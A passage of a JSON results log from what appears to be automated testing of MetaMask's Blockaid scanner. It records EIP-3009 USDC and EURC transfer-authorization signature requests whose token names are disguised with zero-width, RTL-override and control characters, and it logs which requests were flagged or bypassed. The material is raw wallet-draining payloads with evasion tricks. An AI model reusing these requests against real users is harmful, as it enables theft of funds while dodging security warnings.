"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\u0000C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"99999999999999999999999999999999999999999999999999999999999999999999999999999\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN1-COMBO-14", "timestamp": "2026-01-31T23:28:56.336Z", "technique": "EIP3009-combo-EURC-long_256-leading_zeros_many-numeric_ts-half_and_half-mixed_case-v3", "category": "eip3009", "description": "EURC + long_256 + leading_zeros_many + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"000000000000000000000000000000000000000000000001000000000000\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN2-COMBO-0", "timestamp": "2026-01-31T23:29:02.873Z", "technique": "EIP3009-combo-USDC-standard-numeric_max_safe-numeric_ts-all_ones-checksum-signTypedData", "category": "eip3009", "description": "USDC + standard + numeric_max_safe + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":9007199254740991,\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN2-COMBO-1", "timestamp": "2026-01-31T23:29:09.402Z", "technique": "EIP3009-combo-EURC-ideographic_space-numeric_max_safe-far_future-half_and_half-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + ideographic_space + numeric_max_safe + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":9007199254740991,\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN2-COMBO-2", "timestamp": "2026-01-31T23:29:15.928Z", "technique": "EIP3009-combo-EURC-standard-zero-numeric_ts-leading_zeros_nonce-lowercase-v4", "category": "eip3009", "description": "EURC + standard + zero + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true, "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN2-COMBO-3", "timestamp": "2026-01-31T23:29:22.872Z", "technique": "EIP3009-combo-EURC-zwj-hex_mixed_case-just_now-all_ones-lowercase-v3", "category": "eip3009", "description": "EURC + zwj + hex_mixed_case + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EU‍RC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0xFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFf\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN2-COMBO-4", "timestamp": "2026-01-31T23:29:29.788Z", "technique": "EIP3009-combo-USDC-tab-max_uint-leading_zeros_ts-half_and_half-checksum-v4", "category": "eip3009", "description": "USDC + tab + max_uint + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\tCoin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN2-COMBO-5", "timestamp": "2026-01-31T23:29:36.746Z", "technique": "EIP3009-combo-EURC-empty-numeric_max_safe-far_future-half_and_half-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + empty + numeric_max_safe + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":9007199254740991,\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN2-COMBO-6", "timestamp": "2026-01-31T23:29:43.280Z", "technique": "EIP3009-combo-EURC-zwj-max_uint_minus_1-past_2020-max-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + zwj + max_uint_minus_1 + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EU‍RC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639934\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN2-COMBO-7", "timestamp": "2026-01-31T23:29:49.810Z", "technique": "EIP3009-combo-EURC-long_256-hex_1m-max_uint-zero-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + long_256 + hex_1m + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0xe8d4a51000\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN2-COMBO-8", "timestamp": "2026-01-31T23:29:56.334Z", "technique": "EIP3009-combo-USDC-zwnj-max_uint_minus_1-year_2100-alternating-checksum-signTypedData", "category": "eip3009", "description": "USDC + zwnj + max_uint_minus_1 + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"US‌D Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639934\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN2-COMBO-9", "timestamp": "2026-01-31T23:30:02.866Z", "technique": "EIP3009-combo-USDC-trailing_space-padded_64-past_2020-leading_zeros_nonce-lowercase-v3", "category": "eip3009", "description": "USDC + trailing_space + padded_64 + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN2-COMBO-10", "timestamp": "2026-01-31T23:30:09.847Z", "technique": "EIP3009-combo-EURC-escape-half_max-numeric_ts-mixed_case_hex-mixed_case-v4", "category": "eip3009", "description": "EURC + escape + half_max + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\u001bC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"57896044618658097711785492504343953926634992332820282019728792003956564819967\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0xC2422684F02a84A4D71cCd00895d6065112bB88a9eC4BaAe298c4167D20aB660\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN2-COMBO-11", "timestamp": "2026-01-31T23:30:16.383Z", "technique": "EIP3009-combo-USDC-zwnj-very_large-past_2020-zero-lowercase-signTypedData", "category": "eip3009", "description": "USDC + zwnj + very_large + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"US‌D Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"99999999999999999999999999999999999999999999999999999999999999999999999999999\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN2-COMBO-12", "timestamp": "2026-01-31T23:30:22.912Z", "technique": "EIP3009-combo-USDC-nbsp-unicode_digits-year_2100-max-mixed_case-v3", "category": "eip3009", "description": "USDC + nbsp + unicode_digits + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN2-COMBO-13", "timestamp": "2026-01-31T23:30:29.452Z", "technique": "EIP3009-combo-EURC-zwnj-hex_1m-leading_zeros_ts-alternating-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + zwnj + hex_1m + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EU‌RC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0xe8d4a51000\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN2-COMBO-14", "timestamp": "2026-01-31T23:30:35.986Z", "technique": "EIP3009-combo-USDC-escape-numeric_small-just_now-zero-lowercase-v4", "category": "eip3009", "description": "USDC + escape + numeric_small + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\u001b Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":999999999999,\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN3-COMBO-0", "timestamp": "2026-01-31T23:30:42.928Z", "technique": "EIP3009-combo-EURC-rtl_override-trailing_zeros-max_uint-random-checksum-signTypedData", "category": "eip3009", "description": "EURC + rtl_override + trailing_zeros + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‮EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1000000000000000000000000000000\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x3d7831e7bbff6446d9a71d84e90300b45507eb1964d32ef6ebd0ed04129daec7\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN3-COMBO-1", "timestamp": "2026-01-31T23:30:49.459Z", "technique": "EIP3009-combo-EURC-nbsp-max_uint_minus_1-standard-half_and_half-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + nbsp + max_uint_minus_1 + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 